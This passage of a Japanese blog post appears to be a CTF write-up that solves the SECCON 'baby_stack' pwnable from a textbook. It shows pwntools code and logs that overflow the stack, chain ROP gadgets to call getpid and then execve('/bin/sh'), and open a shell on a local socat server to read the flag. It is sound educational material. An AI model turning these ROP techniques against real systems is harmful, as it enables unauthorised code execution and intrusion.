DEBUG:root:b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00AAAA' DEBUG:root:b'Thank you, !\nmsg : \nunexpected fault address 0x41414141\nfatal error: fault\n' INFO:pwnlib.tubes.process.process.140014571198672:Stopped process '/usr/bin/sh' (pid 81006)
システムコールのgetpid()を呼び出すスクリプト
いきなり、シェルを取得するのは難しいので、まずは、簡単なシステムコールを呼び出すだけのスクリプトを作ります。
getpid() とは、現在のプロセスID を取得する関数で、引数は無く、戻り値にプロセスID が格納されます。
システムコールの番号は、「/usr/include/x86_64-linux-gnu/asm/unistd_64.h」に書かれています。以下のように、39(0x27)のようです。
$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep getpid #define __NR_getpid 39
システムコールを呼び出すには、RAX に 39(0x27)を設定して、システムコール命令を実行すればいいはずです。
使用するROPガジェットは、以下の 2つです。
0x4016ea: pop rax ; ret ; (1 found) 0x456889: syscall ; ret ; (1 found)
まず、RAX に値を設定するため、1つ目の ROPガジェットのアドレスをリターンアドレスに上書きします。main.memcpy関数の ret命令が実行されると、リターンアドレスを pop して、そのアドレスにジャンプするので、1つ目の ROPガジェットにジャンプします。そこで pop した値が RAX に設定されるので、リターンアドレスの次のスタックの位置に、RAX に設定したい値を設定しておけばいいはずです。
その後、ret命令が実行されるので、その次のスタック位置に、2個目の ROPガジェットのアドレスを書いておけばいいということになります。
では、以下のように実装しました。main関数を変更しただけです。最後(0x41414141 で落ちる)まで動いてることを確認するために、0x41414141 も残しています。
それから、getpid を呼び出しても、その結果を標準出力する実装が無いので、そのまま動かしても、getpid が呼び出されたかを確認することが出来ません。そこで、strace を使います。strace は、$ sudo apt install strace でインストールできます。val = input() は、実行を一時的に止めて、プロセスID を取得して、strace の対象として指定するためです。また、overwrite_ret_adrs の方にも、同様に、一時的に停止するコードを追加しています。overwrite_ret_adrs も動かしてみて、strace の結果を比較してみます。
def main( args ): if args.ope is None: proc = prologue( args.prog ) check_sof( proc ) elif args.ope == "overwrite_ret_adrs": proc = prologue( args.prog ) val = input() print( val ) adrs = b'\x41\x41\x41\x41' overwrite_ret_adrs( proc, adrs ) elif args.ope == "exec_syscall": proc = prologue( args.prog ) val = input() print( val ) ropchain = b'' ropchain += p64( 0x4016ea ) # pop rax; ret; ropchain += p64( 0x000027 ) # 0x27(39) getpid() ropchain += p64( 0x456889 ) # syscall; ret; ropchain += p64( 0x41414141 ) overwrite_ret_adrs( proc, ropchain ) else: raise
では、動かしてみます。まず、overwrite_ret_adrs の方です。入力待ちまで動かします。
$ python baby_stack.py --ope overwrite_ret_adrs --prog ../../../SECCON/baby_stack/baby_stack --debug args=Namespace(ope='overwrite_ret_adrs', prog='../../../SECCON/baby_stack/baby_stack', debug=True) [+] Starting local process '/usr/bin/sh': pid 161399
次に、プロセスID を調べて、strace を実行します。プロセスID は、それらしいのが 2つありますが、sh -c が付いてない方が、確認したいプロセスです。そのプロセスID を指定して、strace を実行開始します。
$ ps -ef | grep baby_stack user 161396 83645 29 20:36 pts/2 00:00:01 python baby_stack.py --ope overwrite_ret_adrs --prog ../../../SECCON/baby_stack/baby_stack --debug user 161399 161396 0 20:36 pts/6 00:00:00 sh -c ../../../SECCON/baby_stack/baby_stack user 161400 161399 0 20:36 pts/6 00:00:00 ../../../SECCON/baby_stack/baby_stack user 161406 83937 0 20:36 pts/7 00:00:00 grep --color=auto baby_stack $ sudo strace -p 161400 strace: Process 161400 attached read(0,
適当な文字を入力して、overwrite_ret_adrs の続きを動かします。従来と同じ結果です。
a a [*] Stopped process '/usr/bin/sh' (pid 161399) $ cat baby_stack.log INFO:pwnlib.tubes.process.process.140290305761808:Starting local process '/usr/bin/sh' INFO:pwnlib.tubes.process.process.140290305761808:Starting local process '/usr/bin/sh': pid 161399 DEBUG:root:b'Please tell me your name >> ' DEBUG:root:b'daisuke' DEBUG:root:b'Give me your message >> ' DEBUG:root:b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00AAAA' DEBUG:root:b'Thank you, !\nmsg : \nunexpected fault address 0x41414141\nfatal error: fault\n' INFO:pwnlib.tubes.process.process.140290305761808:Stopped process '/usr/bin/sh' (pid 161399)
strace の結果を見てみます。詳しくは分かりませんが、getpid が含まれていないことだけは分かります。
"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 4088) = 413 futex(0x5a0150, FUTEX_WAKE, 1) = 1 write(1, "Thank you, !\nmsg : \n", 20) = 20 --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x41414141} --- rt_sigreturn({mask=[]}) = 0 write(2, "unexpected fault address ", 25) = 25 write(2, "0x41414141", 10) = 10 write(2, "\n", 1) = 1 write(2, "fatal error: ", 13) = 13 write(2, "fault", 5) = 5 write(2, "\n", 1) = 1 select(0, NULL, NULL, NULL, {tv_sec=0, tv_usec=1000}) = 0 (Timeout) select(0, NULL, NULL, NULL, {tv_sec=0, tv_usec=1000}) = 0 (Timeout) write(2, "[signal ", 8) = 8 write(2, "0xb", 3) = 3 write(2, " code=", 6) = 6 write(2, "0x1", 3) = 3 write(2, " addr=", 6) = 6 write(2, "0x41414141", 10) = 10 write(2, " pc=", 4) = 4 write(2, "0x41414141", 10) = 10 write(2, "]\n", 2) = 2 write(2, "\n", 1) = 1 write(2, "goroutine ", 10) = 10 write(2, "1", 1) = 1 write(2, " [", 2) = 2 write(2, "running", 7) = 7 write(2, "]:\n", 3) = 3 write(2, "runtime.throw", 13) = ? +++ killed by SIGHUP +++
続いて、実装した exec_syscall を動かしてみます。入力待ちまで動かします。
$ python baby_stack.py --ope exec_syscall --prog ../../../SECCON/baby_stack/baby_stack --debug args=Namespace(ope='exec_syscall', prog='../../../SECCON/baby_stack/baby_stack', debug=True) [+] Starting local process '/usr/bin/sh': pid 161689
先ほどと同様に、プロセスID を調べて、strace を実行します。
$ ps -ef | grep baby_stack user 161686 83645 29 20:47 pts/2 00:00:01 python baby_stack.py --ope exec_syscall --prog ../../../SECCON/baby_stack/baby_stack --debug user 161689 161686 0 20:47 pts/6 00:00:00 sh -c ../../../SECCON/baby_stack/baby_stack user 161690 161689 0 20:47 pts/6 00:00:00 ../../../SECCON/baby_stack/baby_stack user 161696 83937 0 20:47 pts/7 00:00:00 grep --color=auto baby_stack $ sudo strace -p 161690 strace: Process 161690 attached read(0,
適当な文字を入力して、exec_syscall の続きを動かします。最後まで動いています。
a a [*] Stopped process '/usr/bin/sh' (pid 161689) $ cat baby_stack.log INFO:pwnlib.tubes.process.process.139763870277072:Starting local process '/usr/bin/sh' INFO:pwnlib.tubes.process.process.139763870277072:Starting local process '/usr/bin/sh': pid 161689 DEBUG:root:b'Please tell me your name >> ' DEBUG:root:b'daisuke' DEBUG:root:b'Give me your message >> ' DEBUG:root:b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xea\x16@\x00\x00\x00\x00\x00'\x00\x00\x00\x00\x00\x00\x00\x89hE\x00\x00\x00\x00\x00AAAA\x00\x00\x00\x00" DEBUG:root:b'Thank you, !\nmsg : \n' INFO:pwnlib.tubes.process.process.139763870277072:Stopped process '/usr/bin/sh' (pid 161689)
strace の結果を見てみます。getpid() が実行されていることが確認できます。上の出力では、0x41414141 が出ていませんでしたが、こちらを見れば、同じように、0x41414141 で停止していることが分かります。
"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 4088) = 441 futex(0x5a0150, FUTEX_WAKE, 1) = 1 write(1, "Thank you, !\nmsg : \n", 20) = 20 getpid() = 161690 --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x41414141} --- rt_sigreturn({mask=[]}) = 161690 write(2, "unexpected fault address ", 25) = 25 write(2, "0x41414141", 10) = 10 write(2, "\n", 1) = 1 write(2, "fatal error: ", 13) = 13 +++ killed by SIGHUP +++
想定通り、システムコールの getpid() を呼び出すコードを、baby_stack の脆弱性を利用して実行することが出来ました。
シェルを起動するコードを実装する
要領は同じです。main関数を変更し、シェルを起動する部分を実装した shell関数を追加しました。プログラムの流れは、コメントに記載しました。
def main( args ): if args.ope is None: proc = prologue( args.prog ) check_sof( proc ) elif args.ope == "overwrite_ret_adrs": proc = prologue( args.prog ) val = input() print( val ) adrs = b'\x41\x41\x41\x41' overwrite_ret_adrs( proc, adrs ) elif args.ope == "exec_syscall": proc = prologue( args.prog ) val = input() print( val ) ropchain = b'' ropchain += p64( 0x4016ea ) # pop rax; ret; ropchain += p64( 0x000027 ) # 0x27(39) getpid() ropchain += p64( 0x456889 ) # syscall; ret; ropchain += p64( 0x41414141 ) overwrite_ret_adrs( proc, ropchain ) elif args.ope == "shell": proc = prologue( args.prog ) val = input() print( val ) shell( proc ) else: raise def shell( proc ): ropchain = b'' adrs_bss = 0x0059f920 ropchain += p64( 0x4016ea ) # pop rax; ret; ropchain += p64( adrs_bss ) # RAX に BSS の開始アドレスを設定 (次の [rax+0x39] が変な場所に書かないようにするため) ropchain += p64( 0x470931 ) # pop rdi; or byte [rax+0x39], cl; ret; ropchain += p64( adrs_bss ) # RDI(第1引数) に BSS の開始アドレスを設定 ropchain += p64( 0x4016ea ) # pop rax; ret; ropchain += b'/bin/sh\x00' # RAX に b'/bin/sh\x00'を設定 ropchain += p64( 0x456499 ) # mov qword [rdi], rax; ret; # BSS の開始アドレスに b'/bin/sh\x00'を書き込む ropchain += p64( 0x4016ea ) # pop rax; ret; ropchain += p64( adrs_bss ) # RAX に BSS の開始アドレスを設定 (次の [rax-0x77] が変な場所に書かないようにするため) ropchain += p64( 0x46defd ) # pop rsi; ret; ropchain += p64( 0 ) # RSI(第2引数) に 0 を設定 ropchain += p64( 0x4a247c ) # pop rdx; or byte [rax-0x77], cl; ret; ropchain += p64( 0 ) # RDX(第3引数) に 0 を設定 ropchain += p64( 0x4016ea ) # pop rax; ret; ropchain += p64( 0x3b ) # RAX(システムコール番号) に 0x3b を設定 ropchain += p64( 0x456889 ) # syscall; ret; overwrite_ret_adrs( proc, ropchain ) proc.interactive()
それでは、動かしてみます。無事、シェルを起動することが出来ました!
$ python baby_stack.py --ope shell --prog ../../../SECCON/baby_stack/baby_stack --debug args=Namespace(ope='shell', prog='../../../SECCON/baby_stack/baby_stack', debug=True) [+] Starting local process '/usr/bin/sh': pid 161853 a a [*] Switching to interactive mode $ ls baby_stack.log baby_stack.py $ exit [*] Got EOF while reading in interactive $ exit [*] Process '/usr/bin/sh' stopped with exit code 0 (pid 161853) [*] Got EOF while sending in interactive
サーバに侵入してフラグを獲得する
最後に、リモートで侵入して、フラグを獲得してみます。
main関数を変更し、prologue_remote関数を実装しました。
def main( args ): if args.ope is None: proc = prologue( args.prog ) check_sof( proc ) elif args.ope == "overwrite_ret_adrs": proc = prologue( args.prog ) val = input() print( val ) adrs = b'\x41\x41\x41\x41' overwrite_ret_adrs( proc, adrs ) elif args.ope == "exec_syscall": proc = prologue( args.prog ) val = input() print( val ) ropchain = b'' ropchain += p64( 0x4016ea ) # pop rax; ret; ropchain += p64( 0x000027 ) # 0x27(39) getpid() ropchain += p64( 0x456889 ) # syscall; ret; ropchain += p64( 0x41414141 ) overwrite_ret_adrs( proc, ropchain ) elif args.ope == "shell": proc = prologue( args.prog ) val = input() print( val ) shell( proc ) elif args.ope == "remote_shell": proc = prologue_remote( args.prog ) val = input() print( val ) shell( proc ) else: raise def prologue_remote( prog ): # サーバに接続 proc = remote( '127.0.0.1', 15285 ) # "Please tell me your name >> " logging.debug( proc.recv(timeout=1) ) ss = b'daisuke' logging.debug( ss ) proc.sendline( ss ) # "Give me your message >> " logging.debug( proc.recv(timeout=1) ) return proc
では、動かしてみます。まず、冒頭でやったように、socatコマンドで、サーバを起動しておきます。
$ socat tcp-listen:15285,reuseaddr,fork, EXEC:"./baby_stack"
続いて、実装した Pythonスクリプトを実行します。動きました!シェルが起動できて、同じディレクトリにあるフラグを開くことが出来ました!長かった!
$ python baby_stack.py --ope remote_shell --prog ../../../SECCON/baby_stack/baby_stack --debug args=Namespace(ope='remote_shell', prog='../../../SECCON/baby_stack/baby_stack', debug=True) [+] Opening connection to 127.0.0.1 on port 15285: Done a a [*] Switching to interactive mode $ ls baby_stack flag.txt peda-session-baby_stack.txt question.txt $ cat flag.txt SECCON{'un54f3'm0dul3_15_fr13ndly_70_4774ck3r5}$ exit [*] Got EOF while reading in interactive $ exit $ exit [*] Closed connection to 127.0.0.1 port 15285 [*] Got EOF while sending in interactive
だいぶ長かったですが、今回は以上です。
おわりに
今回は、「入門セキュリティコンテストーーCTFを解きながら学ぶ実戦技術」の Pwnable問題を書籍を見ながら、実際に実装して、動作を確認しました。
初めての Exploitコードの実装と侵入でしたが、参考書籍のおかげで、最後まで動かせました。記事を見直すと、すんなりやってるように見えますが、書いてない試行錯誤がかなりありました。プロセスID の進んでる量でお分かりかもしれません(笑)。
最後になりましたが、エンジニアグループのランキングに参加中です。
気楽にポチッとよろしくお願いいたします🙇
今回は以上です!
最後までお読みいただき、ありがとうございました。